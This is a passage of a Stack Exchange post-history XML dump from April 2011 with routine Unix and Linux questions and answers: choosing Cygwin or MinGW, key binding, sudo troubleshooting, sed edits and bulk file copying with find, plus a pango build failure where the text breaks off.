  <row Id="28393" PostHistoryTypeId="3" PostId="11688" RevisionGUID="bfdc94d7-01bd-494b-baa5-018cef9185ea" CreationDate="2011-04-20T11:26:04.490" UserId="1542" Text="écrossöcompilationàécygwinàémingwà" />
  <row Id="28394" PostHistoryTypeId="2" PostId="11689" RevisionGUID="365fc2cb-ff9a-40a0-bb81-aae7504f2377" CreationDate="2011-04-20T11:27:33.550" UserId="1925" Text="Setup your cygwin environment on windows, then compile there." />
  <row Id="28395" PostHistoryTypeId="2" PostId="11690" RevisionGUID="c69ff22e-a2c2-4d6b-8de2-2c29e77f6954" CreationDate="2011-04-20T11:47:17.177" UserId="4404" Text="Or you can open emacs, run eshell, then cd to the remote machine, like:&#xD;&#xA;&#xD;&#xA;    cd /hostname:~&#xD;&#xA;&#xD;&#xA;Now, run shell commands, navigate to the file you want and open it:&#xD;&#xA;&#xD;&#xA;    find-file filename" />
  <row Id="28396" PostHistoryTypeId="2" PostId="11691" RevisionGUID="6e9186a1-595e-41d3-8bf2-2d5d67b76114" CreationDate="2011-04-20T11:55:31.603" UserId="6787" Text="hello everyone&#xD;&#xA;&#xD;&#xA;I'm trying to link a button (now without function) to a bash script that I have made on UBUNTU. I'm using a clevo W150HNM/Sager NP5160&#xD;&#xA;&#xD;&#xA;I want to use 1 or 4 for this(see photo on http://i.imgur.com/LUeYO.jpg) I don't get any output of xev, getscancodes or cat /dev/input/eventX when pressing this key.&#xD;&#xA;&#xD;&#xA;How can I use this key to run the script?&#xD;&#xA;&#xD;&#xA;Many thanks Simon" />
  <row Id="28397" PostHistoryTypeId="1" PostId="11691" RevisionGUID="6e9186a1-595e-41d3-8bf2-2d5d67b76114" CreationDate="2011-04-20T11:55:31.603" UserId="6787" Text="link key to a bash script" />
  <row Id="28398" PostHistoryTypeId="3" PostId="11691" RevisionGUID="6e9186a1-595e-41d3-8bf2-2d5d67b76114" CreationDate="2011-04-20T11:55:31.603" UserId="6787" Text="ébashà" />
  <row Id="28399" PostHistoryTypeId="5" PostId="11684" RevisionGUID="151cc7fb-8ca4-4363-a272-027db20ed31b" CreationDate="2011-04-20T12:00:16.717" UserId="3169" Comment="deleted 2 characters in body" Text="There's a lot of things that could be failing, but given your output of `ls -l /etc/sudoers`, most of them are ruled out.&#xD;&#xA;&#xD;&#xA;First a couple of quick checks:&#xD;&#xA;&#xD;&#xA;1. what does `type sudo` print?&#xD;&#xA;2. what does `getent group 0` print?&#xD;&#xA;&#xD;&#xA;Then, to properly see what's going on, can you log in as root using `su -`, then run this?&#xD;&#xA;&#xD;&#xA;    # apt-get install ltrace&#xD;&#xA;    # ltrace -u &lt;username&gt; sudo true 2&gt;&amp;1  | egrep '(sudo|stat|set.*[ug].*id)'&#xD;&#xA;&#xD;&#xA;and/or&#xD;&#xA;&#xD;&#xA;    # apt-get install strace&#xD;&#xA;    # strace -u &lt;yourusername&gt; sudo true 2&gt;&amp;1 | egrep '(sudo|set.*[ug].*id)'&#xD;&#xA;&#xD;&#xA;And add the output to your question." />
  <row Id="28400" PostHistoryTypeId="5" PostId="11691" RevisionGUID="05d9dcc1-c78f-42dc-9e80-352534603832" CreationDate="2011-04-20T12:02:41.460" UserId="1925" Comment="Changed &quot;link&quot; to &quot;bind&quot; and fixed some other formatting to clarify what is being asked." Text="I'm trying to bind a key (now without function) to a bash script that I have made on Ubuntu. I'm using a clevo W150HNM/Sager NP5160&#xD;&#xA;&#xD;&#xA;I want to use button 1 or 4 for this. (see [photo][1]) I don't get any output from `xev`, `getscancodes` or `cat /dev/input/eventX` when pressing this key.&#xD;&#xA;&#xD;&#xA;How can I use this key to run the script?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/LUeYO.jpg" />
  <row Id="28401" PostHistoryTypeId="4" PostId="11691" RevisionGUID="05d9dcc1-c78f-42dc-9e80-352534603832" CreationDate="2011-04-20T12:02:41.460" UserId="1925" Comment="Changed &quot;link&quot; to &quot;bind&quot; and fixed some other formatting to clarify what is being asked." Text="Bind key to a bash script" />
  <row Id="28402" PostHistoryTypeId="24" PostId="11691" RevisionGUID="05d9dcc1-c78f-42dc-9e80-352534603832" CreationDate="2011-04-20T12:02:41.460" Comment="Proposed by 1925 approved by 3169 edit id of 292" />
  <row Id="28403" PostHistoryTypeId="2" PostId="11692" RevisionGUID="114245e9-281a-4b3e-ace0-712415c0fef9" CreationDate="2011-04-20T12:02:42.350" UserId="1925" Text="It is possible that some or all of those keys are bound directly in the BIOS and do not generate keycodes and thus will not be bindable. Particularly button 1 might not be reachable, but the other hotkey buttons are likely software readable.&#xD;&#xA;&#xD;&#xA;You may need to load a special kernel module specific to that brand laptop or even that model that knows how to listen for and process those keys." />
  <row Id="28404" PostHistoryTypeId="25" PostId="11691" RevisionGUID="c1ff84c3-5e53-4fe9-99aa-d9329c5d741d" CreationDate="2011-04-20T12:09:09.840" Comment="http://twitter.com/#!/StackUnix/status/60676375962595328" />
  <row Id="28405" PostHistoryTypeId="5" PostId="11688" RevisionGUID="54e6ea49-043b-4c11-bcb2-fd757664f5db" CreationDate="2011-04-20T12:20:43.757" UserId="1925" Comment="Fixed English and formatting for clarity." Text="I want to use a Linux Application under Windows. It is my understanding that the application is Linux only and to use it in Windows I have to compile the application from the source using Cygwin or MinGW.&#xD;&#xA;&#xD;&#xA;My question is which to use: Cygwin or MinGW?&#xD;&#xA;&#xD;&#xA;Should i setup Cygwin or MinGW in Windows and then compile the Linux&gt; Application there?&#xD;&#xA;&#xD;&#xA;Should i setup Cygwin or MinGW in Linux and then compile the Linux Application there?&#xD;&#xA;" />
  <row Id="28406" PostHistoryTypeId="24" PostId="11688" RevisionGUID="54e6ea49-043b-4c11-bcb2-fd757664f5db" CreationDate="2011-04-20T12:20:43.757" Comment="Proposed by 1925 approved by 1542 edit id of 291" />
  <row Id="28407" PostHistoryTypeId="5" PostId="11688" RevisionGUID="832f2ee9-dbcc-4d77-a2f1-2cb631ccd12c" CreationDate="2011-04-20T12:21:07.830" UserId="1542" Comment="deleted 1 characters in body; added 23 characters in body" Text="I want to use a Linux Application under Windows. It is my understanding that the application is Linux only and to use it in Windows I have to compile the application from the source using Cygwin or MinGW.&#xD;&#xA;&#xD;&#xA;My question is which to use: Cygwin or MinGW?&#xD;&#xA;&#xD;&#xA;Should i setup Cygwin or MinGW in Windows and then compile the Linux Application there?&#xD;&#xA;&#xD;&#xA;Should i setup Cygwin or MinGW in Linux and then compile the Linux Application there?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any guide/tutorial?" />
  <row Id="28408" PostHistoryTypeId="2" PostId="11693" RevisionGUID="4cf7cabf-24dc-42cc-83ac-f5d829dd56d0" CreationDate="2011-04-20T12:22:11.887" UserId="2978" Text="Cygwin aims to maximise POSIX and Linux source compatibility, whereas MinGW provides a GNU toolchain for building native Windows application. Hopefully this means that your Linux application requires no or only minor changes to build on Cygwin, whereas porting code using POSIX/Linux-specific APIs to native Windows can be a major effort. However, if you can make it work with MinGW, that saves you the dependency on the Cygwin DLL.&#xD;&#xA;&#xD;&#xA;Building with a cross-compile environment on Linux tends to be faster, but also more difficult, especially with regards to libraries that applications may depend on. And obviously you'll need to test on Windows anyway." />
  <row Id="28409" PostHistoryTypeId="2" PostId="11694" RevisionGUID="25d424c9-82df-4d71-bf2b-8149a7b99fbd" CreationDate="2011-04-20T12:49:48.597" UserId="6791" Text="I find myself needing to do this a few times daily and would love an easier way to do it.&#xD;&#xA;&#xD;&#xA;&gt; The domain example.com's email is handled by a third party, so the server needs to be told this by listing its domain in /etc/remotedomains.&#xD;&#xA;&#xD;&#xA;I then remove the domain from localdomains:&#xD;&#xA;&#xD;&#xA;&gt; pico /etc/localdomains&#xD;&#xA;&gt;&#xD;&#xA;&gt; Search for &quot;example.com&quot; (being careful not to land on &quot;subdomain.example.com&quot;)&#xD;&#xA;&gt;&#xD;&#xA;&gt; Remote &quot;example.com&quot; from /etc/localdomains&#xD;&#xA;&gt;&#xD;&#xA;&gt; Save and close&#xD;&#xA;&#xD;&#xA;And place it within remotedomain:&#xD;&#xA;&#xD;&#xA;&gt; pico /etc/remotedomains&#xD;&#xA;&gt;&#xD;&#xA;&gt; Goto end of file and add &quot;example.com&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; Save and close&#xD;&#xA;&#xD;&#xA;A way to do this in one command would be great! :)" />
  <row Id="28410" PostHistoryTypeId="1" PostId="11694" RevisionGUID="25d424c9-82df-4d71-bf2b-8149a7b99fbd" CreationDate="2011-04-20T12:49:48.597" UserId="6791" Text="Single command to move a domain from cPanel's localdomains to remotedomains file?" />
  <row Id="28411" PostHistoryTypeId="3" PostId="11694" RevisionGUID="25d424c9-82df-4d71-bf2b-8149a7b99fbd" CreationDate="2011-04-20T12:49:48.597" UserId="6791" Text="ébashà" />
  <row Id="28412" PostHistoryTypeId="2" PostId="11695" RevisionGUID="7e8fd3ab-5893-4da7-acd2-2e0083950709" CreationDate="2011-04-20T13:02:17.777" UserId="73" Text="Is `example.com` on its own line? You could use sed to get rid of it from `localdomains` (`-i` tells it to modify the file in-place, `^example.com$` tells it to find an entire line matching `example.com`, and `d` tells it to delete that line):&#xD;&#xA;&#xD;&#xA;    $ sed -i '/^example.com$/d' /etc/localdomains&#xD;&#xA;&#xD;&#xA;And then just append it to the end of `remotedomains`&#xD;&#xA;&#xD;&#xA;    echo &quot;example.com&quot; &gt;&gt; /etc/remotedomains:&#xD;&#xA;&#xD;&#xA;It's technically two commands, but I can't imagine that matters; you can run them on one line by separating them with `;`" />
  <row Id="28413" PostHistoryTypeId="4" PostId="11680" RevisionGUID="3ca38aa0-51a1-4a02-8f7d-2f275d2a99c9" CreationDate="2011-04-20T13:04:19.600" UserId="549" Comment="minor edit" Text="Sudo no longer available and users can't install or modify most files" />
  <row Id="28414" PostHistoryTypeId="24" PostId="11680" RevisionGUID="3ca38aa0-51a1-4a02-8f7d-2f275d2a99c9" CreationDate="2011-04-20T13:04:19.600" Comment="Proposed by 549 approved by 73 edit id of 293" />
  <row Id="28415" PostHistoryTypeId="2" PostId="11696" RevisionGUID="e00327ca-dff8-424e-8675-8edd1d794c6d" CreationDate="2011-04-20T13:17:20.237" UserId="2671" Text="Actually, you can work without both.&#xD;&#xA;&#xD;&#xA;Windows (from Windows 7) claims to be fully POSIX compliant. Unfortunately as many other important features, this is only available for Enterprise and Ultimate editions.&#xD;&#xA;&#xD;&#xA;For earlier versions of Window there are [Windows Services for UNIX][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Windows_Services_for_UNIX" />
  <row Id="28416" PostHistoryTypeId="17" PostId="11698" RevisionGUID="b2fdd6f4-054f-4d87-82b1-19020c52c4d8" CreationDate="2011-04-20T13:43:36.073" UserId="-1" Comment="from http://stackoverflow.com/questions/5731148/how-copy-and-rename-files-found-in-find-function-linux/5731188#5731188" Text="" />
  <row Id="28417" PostHistoryTypeId="17" PostId="11699" RevisionGUID="a07badfd-6f21-4be4-b529-a55b4570a35e" CreationDate="2011-04-20T13:43:36.073" UserId="-1" Comment="from http://stackoverflow.com/questions/5731148/how-copy-and-rename-files-found-in-find-function-linux/5731253#5731253" Text="" />
  <row Id="28418" PostHistoryTypeId="17" PostId="11700" RevisionGUID="305497d4-f28b-4044-887c-21bb56e231f9" CreationDate="2011-04-20T13:43:36.073" UserId="-1" Comment="from http://stackoverflow.com/questions/5731148/how-copy-and-rename-files-found-in-find-function-linux/5731303#5731303" Text="" />
  <row Id="28419" PostHistoryTypeId="2" PostId="11698" RevisionGUID="33271068-d810-450a-bc30-03f34586b111" CreationDate="2011-04-20T13:35:37.810" UserDisplayName="elvenbyte" Text="To copy you need the command **cp**, and to rename for linux is the same than moving the file, so you have to do it with **mv** command. In Linux you always have to specify the whole path, from the source, if you are in another folder, and to the destination folder, of course. I'd be something like this, for copy:&#xD;&#xA;&#xD;&#xA;    cp /source_path/file /destination_path/&#xD;&#xA;&#xD;&#xA;or to rename or move&#xD;&#xA;&#xD;&#xA;    mv /source_path/old_file /destination_path/new_name_file" />
  <row Id="28420" PostHistoryTypeId="2" PostId="11699" RevisionGUID="f880f9bf-5fe8-4afd-81f2-df198f0b940e" CreationDate="2011-04-20T13:39:40.270" UserId="5454" Text="Here you go:&#xD;&#xA;&#xD;&#xA;    for file in /home/user/temps/*/thumb.png; do new_file=${file/temps/new_folder}; cp &quot;$file&quot; &quot;${new_file/\/thumb/}&quot;; done;&#xD;&#xA;&#xD;&#xA;**edit:**&#xD;&#xA;&#xD;&#xA;the canonical wisdom, by the way, is that using `find` for this is a bad idea -- simply using shell expansion is much more reliable.  Also, this assumes `bash`, but I figure that's a safe assumption :)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28421" PostHistoryTypeId="2" PostId="11700" RevisionGUID="01bff6c0-0656-4ab0-9fe9-a98bc499ba3b" CreationDate="2011-04-20T13:42:17.797" UserId="6122" Text="Try this&#xD;&#xA;&#xD;&#xA;    mkdir /home/user/thumbs&#xD;&#xA;    targDir=/home/user/thumbs&#xD;&#xA;    &#xD;&#xA;    cd /home/user/temps&#xD;&#xA;    &#xD;&#xA;    find . -type d | &#xD;&#xA;    while read dir ; do&#xD;&#xA;       if [[ -f $dir/thumb.png ]] ; then&#xD;&#xA;         mv -i $dir/thumb.png $targDir/$dir_thumb.png&#xD;&#xA;       fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;I hope this helps.&#xD;&#xA;&#xD;&#xA;P.S. as you appear to be a new user, if you get an answer that helps you please remember to mark it as accepted, and/or give it a + (or -) as a useful answer.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28422" PostHistoryTypeId="2" PostId="11697" RevisionGUID="dba3e9bd-c014-409b-8e7c-735717e0ab3c" CreationDate="2011-04-20T13:31:44.503" UserDisplayName="Mahakaal" Text="I have folder called &quot;/home/user/temps&quot; which have 487 folders.&#xD;&#xA;in each folder i have file called thumb.png&#xD;&#xA;&#xD;&#xA;i want to copy  all files thumb.png in separate folder and rename them with folder they are in" />
  <row Id="28423" PostHistoryTypeId="1" PostId="11697" RevisionGUID="dba3e9bd-c014-409b-8e7c-735717e0ab3c" CreationDate="2011-04-20T13:31:44.503" UserDisplayName="Mahakaal" Text="How copy and rename files found in &quot;find&quot; function Linux" />
  <row Id="28424" PostHistoryTypeId="3" PostId="11697" RevisionGUID="dba3e9bd-c014-409b-8e7c-735717e0ab3c" CreationDate="2011-04-20T13:31:44.503" UserDisplayName="Mahakaal" Text="élinuxàéshellàéfindà" />
  <row Id="28425" PostHistoryTypeId="17" PostId="11697" RevisionGUID="301f0ea7-f678-480c-a4f9-63a67ca49c5f" CreationDate="2011-04-20T13:43:36.073" UserId="-1" Comment="from http://stackoverflow.com/questions/5731148/how-copy-and-rename-files-found-in-find-function-linux" Text="" />
  <row Id="28426" PostHistoryTypeId="2" PostId="11701" RevisionGUID="fc92a4a3-8ef9-4011-a9fa-cd3edb9ad0d2" CreationDate="2011-04-20T13:56:03.123" UserId="6798" Text="Google 'find exec'&#xD;&#xA;&#xD;&#xA;find . -name &quot;thumb.png*&quot; -exec mv {} /your/dest/dir \;" />
  <row Id="28427" PostHistoryTypeId="5" PostId="11701" RevisionGUID="b131da72-1d33-42d3-b708-f2d8c72f3711" CreationDate="2011-04-20T14:04:13.473" UserId="73" Comment="deleted 16 characters in body" Text="    $ find . -name &quot;thumb.png*&quot; -exec mv {} /your/dest/dir \;" />
  <row Id="28428" PostHistoryTypeId="2" PostId="11702" RevisionGUID="81f4127d-6aa3-4385-8b0a-334125475401" CreationDate="2011-04-20T14:13:32.973" UserId="4792" Text="Hi, &#xD;&#xA;&#xD;&#xA;I'd like to do video interviews with Skype and am looking for a reliable tool to accomplish that. &#xD;&#xA;&#xD;&#xA;Is there anything out there that's not slow or buggy?&#xD;&#xA;&#xD;&#xA;I'm running (K)Ubuntu btw.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="28429" PostHistoryTypeId="1" PostId="11702" RevisionGUID="81f4127d-6aa3-4385-8b0a-334125475401" CreationDate="2011-04-20T14:13:32.973" UserId="4792" Text="How to record Skype video calls on Linux?" />
  <row Id="28430" PostHistoryTypeId="3" PostId="11702" RevisionGUID="81f4127d-6aa3-4385-8b0a-334125475401" CreationDate="2011-04-20T14:13:32.973" UserId="4792" Text="élinuxàéskypeà" />
  <row Id="28431" PostHistoryTypeId="5" PostId="11702" RevisionGUID="d3a2a401-ad22-4cb1-9992-8711827333f4" CreationDate="2011-04-20T14:18:00.367" UserId="1925" Comment="Dropped salutations/thanks per style guidelines, cleared up working of question so it stands alone without the subject." Text="I'd like to conduct recorded video interviews with Skype and am looking for a reliable tool to accomplish that. &#xD;&#xA;&#xD;&#xA;Is there anything out there that's not slow or buggy?&#xD;&#xA;&#xD;&#xA;I'm running (K)Ubuntu." />
  <row Id="28432" PostHistoryTypeId="6" PostId="11702" RevisionGUID="d3a2a401-ad22-4cb1-9992-8711827333f4" CreationDate="2011-04-20T14:18:00.367" UserId="1925" Comment="Dropped salutations/thanks per style guidelines, cleared up working of question so it stands alone without the subject." Text="élinuxàéubuntuàérecordingàéskypeà" />
  <row Id="28433" PostHistoryTypeId="24" PostId="11702" RevisionGUID="d3a2a401-ad22-4cb1-9992-8711827333f4" CreationDate="2011-04-20T14:18:00.367" Comment="Proposed by 1925 approved by 73 edit id of 295" />
  <row Id="28434" PostHistoryTypeId="5" PostId="11697" RevisionGUID="45eb9404-19ff-45ec-98fe-520325ee6d53" CreationDate="2011-04-20T14:21:12.000" UserId="4728" Comment="grammar, punctuation, clarification" Text="I have a folder named `/home/user/temps` which has 487 folders.&#xD;&#xA;In each folder I have a file called thumb.png.&#xD;&#xA;&#xD;&#xA;I want to copy  all files named thumb.png to a separate folder and rename them based on the folder they came from." />
  <row Id="28435" PostHistoryTypeId="4" PostId="11697" RevisionGUID="45eb9404-19ff-45ec-98fe-520325ee6d53" CreationDate="2011-04-20T14:21:12.000" UserId="4728" Comment="grammar, punctuation, clarification" Text="How copy and rename files found in &quot;find&quot; function Linux?" />
  <row Id="28436" PostHistoryTypeId="24" PostId="11697" RevisionGUID="45eb9404-19ff-45ec-98fe-520325ee6d53" CreationDate="2011-04-20T14:21:12.000" Comment="Proposed by 4728 approved by 73 edit id of 294" />
  <row Id="28437" PostHistoryTypeId="25" PostId="11702" RevisionGUID="9bee2df5-d5fc-4025-ae9e-4252c8cef259" CreationDate="2011-04-20T15:09:10.293" Comment="http://twitter.com/#!/StackUnix/status/60721675423072260" />
  <row Id="28438" PostHistoryTypeId="2" PostId="11703" RevisionGUID="f87e5aa3-15b8-4b32-b88a-8602b101bca7" CreationDate="2011-04-20T15:44:17.210" UserId="2594" Text="As your question is talking about Unix, I guess this is really about Solaris, not linux like the tag would imply although nothing forbids technically to have its linux home directory hosted on a Solaris NFS server.&#xD;&#xA;In any case, having a home directory being /export/home/username is a configuration oddity. The convention is to have /home/username being the home directory and, when that home directory is shared between OS instances, having an automounter managing the mapping between both. Even on the file server hosting the home directory, the automounter should be used." />
  <row Id="28439" PostHistoryTypeId="2" PostId="11704" RevisionGUID="8c87d1e0-37e2-4963-bb9f-a5dd8332f308" CreationDate="2011-04-20T16:17:47.987" UserId="1170" Text="This works for arbitrarily deep subdirectories:&#xD;&#xA;&#xD;&#xA;    $ find temps/ -name &quot;thumb.png&quot; | while read NAME; do cp -v $NAME separate/${NAME//\//_}; done&#xD;&#xA;    `temps/thumb.png' -&gt; `separate/temps_thumb.png'&#xD;&#xA;    `temps/dir3/thumb.png' -&gt; `separate/temps_dir3_thumb.png'&#xD;&#xA;    `temps/dir3/dir31/thumb.png' -&gt; `separate/temps_dir3_dir31_thumb.png'&#xD;&#xA;    `temps/dir3/dir32/thumb.png' -&gt; `separate/temps_dir3_dir32_thumb.png'&#xD;&#xA;    `temps/dir1/thumb.png' -&gt; `separate/temps_dir1_thumb.png'&#xD;&#xA;    `temps/dir2/thumb.png' -&gt; `separate/temps_dir2_thumb.png'&#xD;&#xA;    `temps/dir2/dir21/thumb.png' -&gt; `separate/temps_dir2_dir21_thumb.png'&#xD;&#xA;&#xD;&#xA;The interessting part is the [parameter expansion](http://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html) `${NAME//\//_}`. It takes the content of `NAME`, and replaces every occurence of `/` with `_`.&#xD;&#xA;&#xD;&#xA;Note: the result is dependent on the working directory and the path parameter for find. I executed the command from the parent directory of temps. Replace `cp` with `echo` to experiment." />
  <row Id="28440" PostHistoryTypeId="2" PostId="11705" RevisionGUID="79196135-89c9-4f6d-8ca4-4f20d17c158c" CreationDate="2011-04-20T16:30:30.103" UserId="4520" Text="Some systems will drop idle dial-up  connections.  This could be happening on either end of the connections.  IPSs don't like people tying up their dialup pool with idle connections.  &#xD;&#xA;&#xD;&#xA;Maximum dial-up speed is 56k on a clean line.  It is common for the modems to downgrade the connection speed on a noisy line.  If the line is noisy enough the connection may be dropped.  I worked one project where we had to have the phone line replaced.  Telcos may charge extra for data conditioned lines.  (In most jurisdictions the voice lines are required to be clean enough for dial-up, but unless you are doing broadcasts you likely don't have the equipment to notice the line isn't up to standard.)&#xD;&#xA;&#xD;&#xA;Try downloading a file and see what speed the browser says you are getting.  As you are on dial-up this should be pretty close to the speed your connection has if you aren't doing anything else.&#xD;&#xA;" />
  <row Id="28441" PostHistoryTypeId="2" PostId="11706" RevisionGUID="b687ceda-642a-4a13-9b43-9042c00c2ffe" CreationDate="2011-04-20T16:34:49.370" UserId="6789" Text="I have an Ubuntu Server 10.04 VPS (Virtual Private Server) that hosts my website. I would like to clone this VPS and create a VirtualBox machine from it. How can I do this?" />
  <row Id="28442" PostHistoryTypeId="1" PostId="11706" RevisionGUID="b687ceda-642a-4a13-9b43-9042c00c2ffe" CreationDate="2011-04-20T16:34:49.370" UserId="6789" Text="VirtualBox image from running VPS" />
  <row Id="28443" PostHistoryTypeId="3" PostId="11706" RevisionGUID="b687ceda-642a-4a13-9b43-9042c00c2ffe" CreationDate="2011-04-20T16:34:49.370" UserId="6789" Text="évirtualboxà" />
  <row Id="28444" PostHistoryTypeId="2" PostId="11707" RevisionGUID="7145b806-4aa2-4807-9b3d-342425b42552" CreationDate="2011-04-20T16:52:27.917" UserId="6797" Text="I am unable to edit text file in vim in cygwin .&#xD;&#xA;&#xD;&#xA;I have to press &quot;I&quot; many times to insert text , sometime it work sometime don't&#xD;&#xA;When ever i move cursor up down i have to press i many times.&#xD;&#xA;&#xD;&#xA;whats the problem&#xD;&#xA;&#xD;&#xA;does backspace works in cygwin" />
  <row Id="28445" PostHistoryTypeId="1" PostId="11707" RevisionGUID="7145b806-4aa2-4807-9b3d-342425b42552" CreationDate="2011-04-20T16:52:27.917" UserId="6797" Text="Are cygwin vim commands diff than normal vim" />
  <row Id="28446" PostHistoryTypeId="3" PostId="11707" RevisionGUID="7145b806-4aa2-4807-9b3d-342425b42552" CreationDate="2011-04-20T16:52:27.917" UserId="6797" Text="écygwinà" />
  <row Id="28447" PostHistoryTypeId="2" PostId="11708" RevisionGUID="b810a2d0-5538-447f-aff7-2e92003b0bf3" CreationDate="2011-04-20T16:57:31.857" UserId="4949" Text="As a last resort, you can copy the `/etc/sudoers` file to a backup location, then `apt-get --reinstall install sudo` " />
  <row Id="28448" PostHistoryTypeId="2" PostId="11709" RevisionGUID="7fc578b1-e46d-4288-96ae-b714db1a50fe" CreationDate="2011-04-20T17:02:21.803" UserId="4485" Text="Short helper code:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #&#xD;&#xA;    # echo cp &quot;$1&quot; ../tmp/&quot;${1//\//_}&quot; &#xD;&#xA;    #&#xD;&#xA;    mv &quot;$1&quot; ../tmp/&quot;${1//\//_}&quot;&#xD;&#xA;&#xD;&#xA;let's name it 'deslash.sh' and make it executable. Call it with:&#xD;&#xA;&#xD;&#xA;    find -type f -name thumb.png -exec ./deslash.sh {} &quot;;&quot;    &#xD;&#xA;&#xD;&#xA;It will fail, if a collision exists &#xD;&#xA;&#xD;&#xA;    a/b/thumb.png # and &#xD;&#xA;    a_b/thumb.png &#xD;&#xA;&#xD;&#xA;but that's unavoidable.&#xD;&#xA;" />
  <row Id="28449" PostHistoryTypeId="2" PostId="11710" RevisionGUID="6d4115a6-0b9c-4374-bf14-7b9240266751" CreationDate="2011-04-20T17:15:35.370" UserId="6797" Text="The output of find command is like&#xD;&#xA;&#xD;&#xA;&gt; /home/user/test/folder1/abc.png&#xD;&#xA;&#xD;&#xA;Now i want to get  &#xD;&#xA;&#xD;&#xA;&gt;  folder1&#xD;&#xA;&#xD;&#xA; from above string" />
  <row Id="28450" PostHistoryTypeId="1" PostId="11710" RevisionGUID="6d4115a6-0b9c-4374-bf14-7b9240266751" CreationDate="2011-04-20T17:15:35.370" UserId="6797" Text="How to get some part of string in linux" />
  <row Id="28451" PostHistoryTypeId="3" PostId="11710" RevisionGUID="6d4115a6-0b9c-4374-bf14-7b9240266751" CreationDate="2011-04-20T17:15:35.370" UserId="6797" Text="éshellöscriptà" />
  <row Id="28452" PostHistoryTypeId="2" PostId="11711" RevisionGUID="888cbcf7-664f-450c-a9bb-38cf0c75e9f6" CreationDate="2011-04-20T17:18:47.460" UserId="6803" Text="Hi All&#xD;&#xA;&#xD;&#xA;I'm using a computer running Ubuntu, and I'm connected through ssh to a RedHat machine where I use Matlab in command line mode (matlab -nodesktop).&#xD;&#xA;&#xD;&#xA;Matlab version is `7.10.0.499 (R2010a)`.&#xD;&#xA;&#xD;&#xA;My problem occurs when I type any key which produces &quot;special characters&quot;, such&#xD;&#xA;as &lt;kbd&gt;ñ&lt;/kbd&gt;, &lt;kbd&gt;á&lt;/kbd&gt;, etc...&#xD;&#xA;&#xD;&#xA;I managed to solve this, by setting this alias to matlab:  &#xD;&#xA;&#xD;&#xA;    alias mat 'xmodmap -e &quot;keycode 47 = Escape&quot; -e &quot;keycode 34 = Escape&quot;; matlab -nodesktop; setxkbmap;'&#xD;&#xA;&#xD;&#xA;but this solution makes these changes globally, and I cannot type those characters (as long as matlab is running) in any other application, nor terminals, nor browsers, etc.&#xD;&#xA;&#xD;&#xA;I read that this is a problem for this version of Matlab, but in that case,&#xD;&#xA;a new question arises: why if I use xmodmap in a terminal (xterm) connected to&#xD;&#xA;other machine, those changes are spread globally to my session?&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="28453" PostHistoryTypeId="1" PostId="11711" RevisionGUID="888cbcf7-664f-450c-a9bb-38cf0c75e9f6" CreationDate="2011-04-20T17:18:47.460" UserId="6803" Text="Matlab gets &quot;crazy&quot; after type special characters" />
  <row Id="28454" PostHistoryTypeId="3" PostId="11711" RevisionGUID="888cbcf7-664f-450c-a9bb-38cf0c75e9f6" CreationDate="2011-04-20T17:18:47.460" UserId="6803" Text="ékeyboardàéxmodmapà" />
  <row Id="28455" PostHistoryTypeId="2" PostId="11712" RevisionGUID="1962592e-6591-48f0-baa1-597e3f959c27" CreationDate="2011-04-20T17:31:18.267" UserId="6807" Text="I'm attempting to build the monotools-server app from source. After **days** of hunting down missing dependencies (and in one case (`xsp`) having to manually modify a generated `Makefile` to remove a reference to a test project which requires a missing `Mono.Data.SqliteClient.dll`, a bug which was reported over a year ago), I'm down to gtk+-2.24.&#xD;&#xA;&#xD;&#xA;When I run the ./configure script for gtk+, I see yet more missing packages:&#xD;&#xA;&#xD;&#xA;    configure: error: Package requirements (glib-2.0 &gt;= 2.27.3    atk &gt;= 1.29.2    pango &gt;= 1.20    cairo &gt;= 1.6    gdk-pixbuf-2.0 &gt;= 2.21.0) were not met:&#xD;&#xA;    &#xD;&#xA;    No package 'atk' found&#xD;&#xA;    No package 'pango' found&#xD;&#xA;    No package 'cairo' found&#xD;&#xA;    No package 'gdk-pixbuf-2.0' found&#xD;&#xA;    &#xD;&#xA;    Consider adjusting the PKG_CONFIG_PATH environment variable if you&#xD;&#xA;    installed software in a non-standard prefix.&#xD;&#xA;&#xD;&#xA;Okay, fine, so I download pango 1.28.4. The `configure` script&#xD;&#xA;&#xD;&#xA;    ./configure --prefix=$HOME&#xD;&#xA;&#xD;&#xA;runs just fine, and creates a whole mess of make files and .pc's. &#xD;&#xA;&#xD;&#xA;When I run `make`, I get the error:&#xD;&#xA;&#xD;&#xA;    [slively@gpu1 pango-1.28.4]$ make&#xD;&#xA;    make  all-recursive&#xD;&#xA;    make[1]: Entering directory `/lustre/users/slively/download/pango-1.28.4'&#xD;&#xA;    Making all in pango&#xD;&#xA;    make[2]: Entering directory `/lustre/users/slively/download/pango-1.28.4/pango'&#xD;&#xA;      GEN    s-enum-types-h&#xD;&#xA;    /bin/sh: line 1: ..//users/slively/lib/pkgconfig/./gobject/glib-mkenums: No such file or directory&#xD;&#xA;    make[2]: *** [s-enum-types-h] Error 127&#xD;&#xA;    make[2]: Leaving directory `/lustre/users/slively/download/pango-1.28.4/pango'&#xD;&#xA;    make[1]: *** [all-recursive] Error 1&#xD;&#xA;    make[1]: Leaving directory `/lustre/users/slively/download/pango-1.28.4'&#xD;&#xA;    make: *** [all] Error 2&#xD;&#xA;    [slively@gpu1 pango-1.28.4]$ &#xD;&#xA;&#xD;&#xA;A few things jump out at me:&#xD;&#xA;&#xD;&#xA;First, the error:&#xD;&#xA;&#xD;&#xA;    bin/sh: line 1: ..//users/slively/lib/pkgconfig/./gobject/glib-mkenums: No such file or directory&#xD;&#xA;&#xD;&#xA;What's up with that path?! `..//users/slively/lib/pkgconfig/./gobject/glib-mkenums`? Aside from the weird `..//` at the start of the path (it should be `/users/slively/...`, I searched my home directory for `gobject` and found:&#xD;&#xA;&#xD;&#xA;    [slively@gpu1 ~]$ find . -name gobject*&#xD;&#xA;    